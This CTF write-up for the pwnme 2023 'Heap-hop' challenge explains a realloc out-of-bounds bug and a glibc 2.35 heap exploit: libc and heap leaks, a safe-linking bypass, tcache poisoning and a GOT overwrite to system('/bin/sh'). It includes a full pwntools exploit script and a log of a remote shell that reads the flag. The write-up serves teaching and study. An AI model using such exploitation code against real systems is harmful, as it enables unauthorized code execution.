[pwnme 2023 - pwn] Heap-hop
Heap-Hop
Solves: 31 Medium
Heap exploitation is cool, and the best is when no free is used. >Try to pwn the challenge and get the flag remotely.
Note:
- You must spawn an instance to solve this challenge. You can connect to it with netcat: nc IP PORT
Author: Express#8049
Remote service at : nc 51.254.39.184 1336
Heap-hop is a heap exploitation challenge I did during the pwnme CTF. It involved classic tricks like tcache poisoning and GOT hiijacking. You can find the related files here.
TL;DR
- Setup heap layout
- fill tcachebin for 0x400 sized chunks
- free large 0x400 sized chunk to get libc addresses
- oob read onto the chunk right before the large freed chunk => libc leak
- request a small 0x20 sized chunk that gets free right after, it falls at the begin of the chunk in the unsortedbin, oob read like just before => heap leak.
- tcache poisoning (we’re able to deal with safe-linking given we leaked heap)
- With the help of tcache poisoning, overwrite
realloc@got
to write&system
realloc("/bin/sh")
is thensystem("/binb/sh")
What we have
$ checksec --file ./heap-hop
[*] '/media/nasm/7044d811-e1cd-4997-97d5-c08072ce9497/ret2school/ctf/2023/pwnme/pwn/heap/heap-hop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/nasm/Documents/pwn/pwnme/heap'
$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
What we can see is that a recent libc is provided (which means with safe-linking) and that the binary isn’t PIE.
Code review
Here is basically the main logic of the binary:
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int input_int; // [rsp+Ch] [rbp-4h]
puts("[+] Welcome to hip-hop, you can create and listen to heap-hop music");
do
{
printf("%s", "Make your choice :\n\t- 1. Create a track.\n\t- 2. Read a track.\n\t- 3. Edit a track.\n> ");
input_int = read_input_int();
if ( input_int == 3 )
{
handle_edit();
}
else
{
if ( input_int > 3 )
goto LABEL_10;
if ( input_int == 1 )
{
handle_create();
continue;
}
if ( input_int == 2 )
handle_read();
else
LABEL_10:
quit = 1;
}
}
while ( quit != 1 );
return puts("[?] Goodbye.");
}
Basic layout for a heap exploitation challenge, we’re allowed to create, read and edit a given track. As we already read in the initial statement we apparently cannot free a track.
Let’s first take a look at the create function:
unsigned __int64 handle_create()
{
void *v0; // rdx
unsigned int idx; // [rsp+Ch] [rbp-14h] BYREF
chunk_t *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
idx = 0;
printf("Enter the tracklist ID\n> ");
__isoc99_scanf("%d", &idx);
if ( idx > 0x100 )
_exit(1);
if ( tracks[idx] )
{
puts("[!] track already exists.\n");
}
else
{
buf = (chunk_t *)malloc(0x30uLL);
if ( !buf )
_exit(1);
printf("Enter the tracklist name\n> ");
read(0, buf, 0x20uLL);
printf("Enter the tracklist content length\n> ");
__isoc99_scanf("%ld", &buf->size);
if ( buf->size > 0x480uLL )
_exit(1);
v0 = malloc(buf->size);
buf->track = (__int64)v0;
if ( !buf->track )
_exit(1);
printf("Enter the tracklist content\n> ");
if ( !read(0, (void *)buf->track, buf->size) )
_exit(1);
tracks[idx] = buf;
puts("[+] track successfully created.\n");
}
return v4 - __readfsqword(0x28u);
}
It crafts a chunk, and then allocates a chunk for a given size (< 0x480). The read function is very basic:
unsigned __int64 handle_read()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0;
printf("Enter the tracklist ID\n> ");
__isoc99_scanf("%d", &v1);
if ( v1 > 0x100 )
_exit(1);
if ( tracks[v1] )
{
puts("[+] track content :");
write(1, (const void *)tracks[v1]->track, tracks[v1]->size);
puts(&byte_4020FF);
}
else
{
puts("[!] track doesn't exist.\n");
}
return v2 - __readfsqword(0x28u);
}
It prints tracks[v1]->size
bytes from tracks[v1]->track
. Which means no need to worry about badchars for the leak.
The bug lies in the handle_edit
function:
unsigned __int64 handle_edit()
{
chunk_t *v0; // rbx
unsigned int idx; // [rsp+Ch] [rbp-24h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
idx = 0;
size = 0LL;
printf("Enter the tracklist ID\n> ");
__isoc99_scanf("%d", &idx);
if ( idx > 0x100 )
_exit(1);
if ( tracks[idx] )
{
printf("Enter the new tracklist content length\n> ");
__isoc99_scanf("%ld", &size);
if ( size > 0x480 )
_exit(1);
v0 = tracks[idx];
v0->track = (__int64)realloc((void *)v0->track, size);
printf("Enter the new tracklist content\n> ");
read(0, (void *)tracks[idx]->track, tracks[idx]->size);
puts("[+] track content edited.");
}
else
{
puts("[!] track doesn't exist.\n");
}
return v4 - __readfsqword(0x28u);
}
There are two bugs, or at least interesting behaviours around realloc. First there is an out of bound (oob) read / write, indeed if we give a size smaller than tracks[idx]->size
, then v0->track
could be changed to a smaller chunk and thus read(0, (void *)tracks[idx]->track, tracks[idx]->size);
could write over the end of the chunk. Secondly we can free a chunk by giving zero to the size.
Exploitation
Given tcache poisoning seems to be pretty easy to achieve, we need to find were use our arbitrary write. If you remind well, the binary isn’t PIE and has only partial RELRO, which means we could easily hiijack the GOT entry of a function (like realloc) to replace it with system and then call realloc("/bin/sh")
. This way we need to get a heap and a libc leak.
libc leak
To get a libc leak we can fill the tcache and free a large chunk to make appear libc addresses on the heap and then read it through the oob read. Which gives:
create(0, b"", 5, b"0")
# Step one, 7 chunks to fill tcache later
for i in range(7):
create(1+i, b"", 0x400, str(i).encode())
# small chunk which will be used to the oob r/w
create(8+1, b"", 0x20, b"_")
# victim chunk
create(9+1, b"", 0x400, b"_")
# chunk with big size that will be used for the oob r/w
create(10+1, b"", 0x200, b"barreer")
create(10+2, b"", 0x20, b"barree2")
# fill tcache
for i in range(7):
free(1+i)
# oob chunk
free(8+1)
free(11) # we free in order that at the next edit it actually allocates a new chunk
edit(11, 0x20, b"_") # allocated in 9
free(9+1) # falls in the unsortedbin
read(11) # oob read
io.recv(0x70)
libc.address = pwn.unpack(io.recv(8)) - 0x219ce0
The heap looks like this:
0x1d83120 0x0000000000000000 0x0000000000000041 ........A....... <= chunk used to get the oob r/w
0x1d83130 0x000000000000000a 0x0000000000000000 ................
0x1d83140 0x0000000000000000 0x0000000000000000 ................
0x1d83150 0x0000000000000020 0x0000000000000000 ...............
0x1d83160 0x0000000000000000 0x0000000000000031 ........1....... <= track buffer of the chunk used to get the oob r/w
0x1d83170 0x0000000000000a5f 0x0000000000000000 _...............
0x1d83180 0x0000000000000000 0x0000000000000000 ................
0x1d83190 0x0000000000000000 0x0000000000000041 ........A....... <= victim chunk, size: 0x400, its track field is fell into the unsortedbin
0x1d831a0 0x000000000000000a 0x0000000000000000 ................
0x1d831b0 0x0000000000000000 0x0000000000000000 ................
0x1d831c0 0x0000000000000400 0x0000000000000000 ................
0x1d831d0 0x0000000000000000 0x0000000000000411 ................ <-- unsortedbin[all][0]
0x1d831e0 0x00007f0eb218dce0 0x00007f0eb218dce0 ................
0x1d831f0 0x0000000000000000 0x0000000000000000 ................
0x1d83200 0x0000000000000000 0x0000000000000000 ................
0x1d83210 0x0000000000000000 0x0000000000000000 ................
0x1d83220 0x0000000000000000 0x0000000000000000 ................
0x1d83230 0x0000000000000000 0x0000000000000000 ................
0x1d83240 0x0000000000000000 0x0000000000000000 ................
0x1d83250 0x0000000000000000 0x0000000000000000 ................
0x1d83260 0x0000000000000000 0x0000000000000000 ................
0x1d83270 0x0000000000000000 0x0000000000000000 ................
0x1d83280 0x0000000000000000 0x0000000000000000 ................
0x1d83290 0x0000000000000000 0x0000000000000000 ................
0x1d832a0 0x0000000000000000 0x0000000000000000 ................
0x1d832b0 0x0000000000000000 0x0000000000000000 ................
0x1d832c0 0x0000000000000000 0x0000000000000000 ................
0x1d832d0 0x0000000000000000 0x0000000000000000 ................
0x1d832e0 0x0000000000000000 0x0000000000000000 ................
0x1d832f0 0x0000000000000000 0x0000000000000000 ................
0x1d83300 0x0000000000000000 0x0000000000000000 ................
0x1d83310 0x0000000000000000 0x0000000000000000 ................
0x1d83320 0x0000000000000000 0x0000000000000000 ................
0x1d83330 0x0000000000000000 0x0000000000000000 ................
0x1d83340 0x0000000000000000 0x0000000000000000 ................
0x1d83350 0x0000000000000000 0x0000000000000000 ................
0x1d83360 0x0000000000000000 0x0000000000000000 ................
0x1d83370 0x0000000000000000 0x0000000000000000 ................
0x1d83380 0x0000000000000000 0x0000000000000000 ................
0x1d83390 0x0000000000000000 0x0000000000000000 ................
0x1d833a0 0x0000000000000000 0x0000000000000000 ................
0x1d833b0 0x0000000000000000 0x0000000000000000 ................
0x1d833c0 0x0000000000000000 0x0000000000000000 ................
0x1d833d0 0x0000000000000000 0x0000000000000000 ................
0x1d833e0 0x0000000000000000 0x0000000000000000 ................
0x1d833f0 0x0000000000000000 0x0000000000000000 ................
0x1d83400 0x0000000000000000 0x0000000000000000 ................
0x1d83410 0x0000000000000000 0x0000000000000000 ................
0x1d83420 0x0000000000000000 0x0000000000000000 ................
0x1d83430 0x0000000000000000 0x0000000000000000 ................
0x1d83440 0x0000000000000000 0x0000000000000000 ................
0x1d83450 0x0000000000000000 0x0000000000000000 ................
0x1d83460 0x0000000000000000 0x0000000000000000 ................
0x1d83470 0x0000000000000000 0x0000000000000000 ................
0x1d83480 0x0000000000000000 0x0000000000000000 ................
0x1d83490 0x0000000000000000 0x0000000000000000 ................
0x1d834a0 0x0000000000000000 0x0000000000000000 ................
0x1d834b0 0x0000000000000000 0x0000000000000000 ................
0x1d834c0 0x0000000000000000 0x0000000000000000 ................
0x1d834d0 0x0000000000000000 0x0000000000000000 ................
0x1d834e0 0x0000000000000000 0x0000000000000000 ................
0x1d834f0 0x0000000000000000 0x0000000000000000 ................
0x1d83500 0x0000000000000000 0x0000000000000000 ................
0x1d83510 0x0000000000000000 0x0000000000000000 ................
0x1d83520 0x0000000000000000 0x0000000000000000 ................
0x1d83530 0x0000000000000000 0x0000000000000000 ................
0x1d83540 0x0000000000000000 0x0000000000000000 ................
0x1d83550 0x0000000000000000 0x0000000000000000 ................
0x1d83560 0x0000000000000000 0x0000000000000000 ................
0x1d83570 0x0000000000000000 0x0000000000000000 ................
0x1d83580 0x0000000000000000 0x0000000000000000 ................
0x1d83590 0x0000000000000000 0x0000000000000000 ................
0x1d835a0 0x0000000000000000 0x0000000000000000 ................
0x1d835b0 0x0000000000000000 0x0000000000000000 ................
0x1d835c0 0x0000000000000000 0x0000000000000000 ................
0x1d835d0 0x0000000000000000 0x0000000000000000 ................
0x1d835e0 0x0000000000000410 0x0000000000000040 ........@....... <= Freed chunk 11
0x1d835f0 0x000000000000000a 0x0000000000000000 ................
0x1d83600 0x0000000000000000 0x0000000000000000 ................
0x1d83610 0x0000000000000200 0x0000000001d83170 ........p1......
0x1d83620 0x0000000000000000 0x0000000000000211 ................
0x1d83630 0x0000000000001d83 0x5b5e1382ca86a7f8 ..............^[ <-- tcachebins[0x210][0/1]
0x1d83640 0x0000000000000000 0x0000000000000000 ................
0x1d83650 0x0000000000000000 0x0000000000000000 ................
0x1d83660 0x0000000000000000 0x0000000000000000 ................
0x1d83670 0x0000000000000000 0x0000000000000000 ................
0x1d83680 0x0000000000000000 0x0000000000000000 ................
0x1d83690 0x0000000000000000 0x0000000000000000 ................
0x1d836a0 0x0000000000000000 0x0000000000000000 ................
0x1d836b0 0x0000000000000000 0x0000000000000000 ................
0x1d836c0 0x0000000000000000 0x0000000000000000 ................
0x1d836d0 0x0000000000000000 0x0000000000000000 ................
0x1d836e0 0x0000000000000000 0x0000000000000000 ................
0x1d836f0 0x0000000000000000 0x0000000000000000 ................
0x1d83700 0x0000000000000000 0x0000000000000000 ................
0x1d83710 0x0000000000000000 0x0000000000000000 ................
0x1d83720 0x0000000000000000 0x0000000000000000 ................
0x1d83730 0x0000000000000000 0x0000000000000000 ................
0x1d83740 0x0000000000000000 0x0000000000000000 ................
0x1d83750 0x0000000000000000 0x0000000000000000 ................
0x1d83760 0x0000000000000000 0x0000000000000000 ................
0x1d83770 0x0000000000000000 0x0000000000000000 ................
0x1d83780 0x0000000000000000 0x0000000000000000 ................
0x1d83790 0x0000000000000000 0x0000000000000000 ................
0x1d837a0 0x0000000000000000 0x0000000000000000 ................
0x1d837b0 0x0000000000000000 0x0000000000000000 ................
0x1d837c0 0x0000000000000000 0x0000000000000000 ................
0x1d837d0 0x0000000000000000 0x0000000000000000 ................
0x1d837e0 0x0000000000000000 0x0000000000000000 ................
0x1d837f0 0x0000000000000000 0x0000000000000000 ................
0x1d83800 0x0000000000000000 0x0000000000000000 ................
0x1d83810 0x0000000000000000 0x0000000000000000 ................
0x1d83820 0x0000000000000000 0x0000000000000000 ................
0x1d83830 0x0000000000000000 0x0000000000000041 ........A....... <= last small chunk, barreer
0x1d83840 0x000000000000000a 0x0000000000000000 ................
0x1d83850 0x0000000000000000 0x0000000000000000 ................
0x1d83860 0x0000000000000020 0x0000000001d83880 ........8......
0x1d83870 0x0000000000000000 0x0000000000000031 ........1.......
0x1d83880 0x00000000000a3233 0x0000000000000000 32..............
0x1d83890 0x0000000000000000 0x0000000000000000 ................
0x1d838a0 0x0000000000000000 0x000000000001e761 ........a....... <-- Top chunk
I advice you to take a look at the heap layout if you do not understand the exploit script.
Heap leak
Now we got a libc leak we’re looking for a heap leak, it is basically the same thing as above, but instead of freeing a large chunk, we free a small 0x20
sized chunk. To understand the defeat of safe-linking I advice you to read this. Which gives:
# leak heap to craft pointers
edit(1, 0x10, b"osef") # split unsortedbin chunk
free(1) # tcache 0x20
read(11) # oob read
io.recv(0x70)
heap = (pwn.unpack(io.recv(8)) << 12) - 0x2000 # leak fp of 1
pwn.log.info(f"heap: {hex(heap)}")
tcache poisoning
To achieve tcache poisoning we just need to get the 0x20
sized chunk right after the out of bound chunk. Then we free it and we use the out of bound chunk to overwrite the forward pointer of the victim chunk to &realloc@GOT
. Given we leaked the heap we can easily bypass the safe-linking protection.
#== tcache poisoning
# get the 0x20 sized chunk that is right after the oob chunk
edit(10, 10, b"osef")
free(0)
# tcache 0x20, count = 2, tcache poisoning is basically 10->fp = target
free(10)
# oob write to set 10->fp = &realloc@got-8 (due to alignment issues)
edit(11, 0x20, b"Y" * 0x60 + pwn.p64(0) + pwn.p64(0x31) + pwn.p64(((heap + 0x21f0) >> 12) ^ (exe.got.realloc - 8)))
edit(3, 10, pwn.p64(libc.address + one_gadget("./libc.so.6")[0])) # useless
edit(12, 10, b"/bin/sh\0") # 12 => b"/binb/sh\0"
# given we falls on &realloc@got-8, we overwrite got entries correctly
edit(4, 10, pwn.p64(libc.sym.malloc) + pwn.p64(libc.sym.system) + pwn.p64(libc.sym.scanf))
PROFIT
Then we just have to do:
# edit => realloc("/bin/sh") => system("/bin/sh")
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", str(12).encode())
io.sendlineafter(b"> ", str(10).encode())
io.interactive()
Which gives:
nasm@off:~/Documents/pwn/pwnme/heap$ python3 exploit.py REMOTE HOST=51.254.39.184 PORT=1336
[*] '/home/nasm/Documents/pwn/pwnme/heap/heap-hop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'/home/nasm/Documents/pwn/pwnme/heap'
[*] '/home/nasm/Documents/pwn/pwnme/heap/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/home/nasm/Documents/pwn/pwnme/heap/ld-linux-x86-64.so.2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 51.254.39.184 on port 1336: Done
[*] libc: 0x7faf9a27f000
[*] heap: 0x191d000
[*] one_gadget: 0x7faf9a36acf8 @ 0x404050
[*] Switching to interactive mode
$ id
uid=1000(player) gid=999(ctf) groups=999(ctf)
$ ls
flag.txt
run
$ cat flag.txt
PWNME{d1d_y0u_kn0w_r341l0c_c4n_b3h4v3_l1k3_th4t}
Final exploit
Here is the final exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit was generated via
# 1) pwntools
# 2) ctfmate
import os
import time
import pwn
BINARY = "heap-hop"
LIBC = "/home/nasm/Documents/pwn/pwnme/heap/libc.so.6"
LD = "/home/nasm/Documents/pwn/pwnme/heap/ld-linux-x86-64.so.2"
# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(BINARY)
libc = pwn.ELF(LIBC)
ld = pwn.ELF(LD)
pwn.context.terminal = ["tmux", "splitw", "-h"]
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
p64 = pwn.p64
u64 = pwn.u64
p32 = pwn.p32
u32 = pwn.u32
p16 = pwn.p16
u16 = pwn.u16
p8 = pwn.p8
u8 = pwn.u8
host = pwn.args.HOST or '127.0.0.1'
port = int(pwn.args.PORT or 1337)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if pwn.args.GDB:
return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return pwn.process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = pwn.connect(host, port)
if pwn.args.GDB:
pwn.gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if pwn.args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
import subprocess
def one_gadget(filename):
return [int(i) for i in subprocess.check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
gdbscript = '''
source ~/Downloads/pwndbg/gdbinit.py
'''.format(**locals())
def exp():
io = start()
def create(idx, name, trackLen, trackContent):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", str(idx).encode())
io.sendlineafter(b"> ", name)
io.sendlineafter(b"> ", str(trackLen).encode())
io.sendlineafter(b"> ", str(trackLen).encode())
def read(idx):
io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"> ", str(idx).encode())
io.recvuntil(b"[+] track content :\n")
def edit(idx, newLength, trackContent):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", str(idx).encode())
io.sendlineafter(b"> ", str(newLength).encode())
io.sendlineafter(b"> ", trackContent)
def free(idx):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", str(idx).encode())
io.sendlineafter(b"> ", str(0).encode())
io.sendlineafter(b"> ", b"")
create(0, b"", 5, b"0")
# Step one, 7 chunks to fill tcache later
for i in range(7):
create(1+i, b"", 0x400, str(i).encode())
# small chunk which will be used to the oob r/w
create(8+1, b"", 0x20, b"_")
# victim chunk
create(9+1, b"", 0x400, b"_")
# chunk with big size that will be used for the oob r/w
create(10+1, b"", 0x200, b"barreer")
create(10+2, b"", 0x20, b"barree2")
# fill tcache
for i in range(7):
free(1+i)
# oob chunk
free(8+1)
free(11)
edit(11, 0x20, b"_") # allocated in 9
free(9+1) # falls in the unsortedbin
read(11) # oob read
io.recv(0x70)
libc.address = pwn.unpack(io.recv(8)) - 0x219ce0
pwn.log.info(f"libc: {hex(libc.address)}") # leak libc
# leak heap to craft pointers
edit(1, 0x10, b"osef") # split unsortedbin chunk
free(1) # tcache 0x20
read(11) # oob read
io.recv(0x70)
heap = (pwn.unpack(io.recv(8)) << 12) - 0x2000
pwn.log.info(f"heap: {hex(heap)}")
#== tcache poisoning
# get the 0x20 sized chunk that is right after the oob chunk
edit(10, 10, b"osef")
free(0)
# tcache 0x20, count = 2, tcache poisoning is basically 10->fp = target
free(10)
# oob write to set 10->fp = &realloc@got-8 (due to alignment issues)
edit(11, 0x20, b"Y" * 0x60 + pwn.p64(0) + pwn.p64(0x31) + pwn.p64(((heap + 0x21f0) >> 12) ^ (exe.got.realloc - 8)))
edit(3, 10, pwn.p64(libc.address + one_gadget("./libc.so.6")[0])) # useless
edit(12, 10, b"/bin/sh\0") # 12 => b"/binb/sh\0"
# given we falls on &realloc@got-8, we overwrite got entries correctly
edit(4, 10, pwn.p64(libc.sym.malloc) + pwn.p64(libc.sym.system) + pwn.p64(libc.sym.scanf))
# edit => realloc("/bin/sh") => system("/bin/sh")
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", str(12).encode())
io.sendlineafter(b"> ", str(10).encode())
io.interactive()
if __name__ == "__main__":
exp()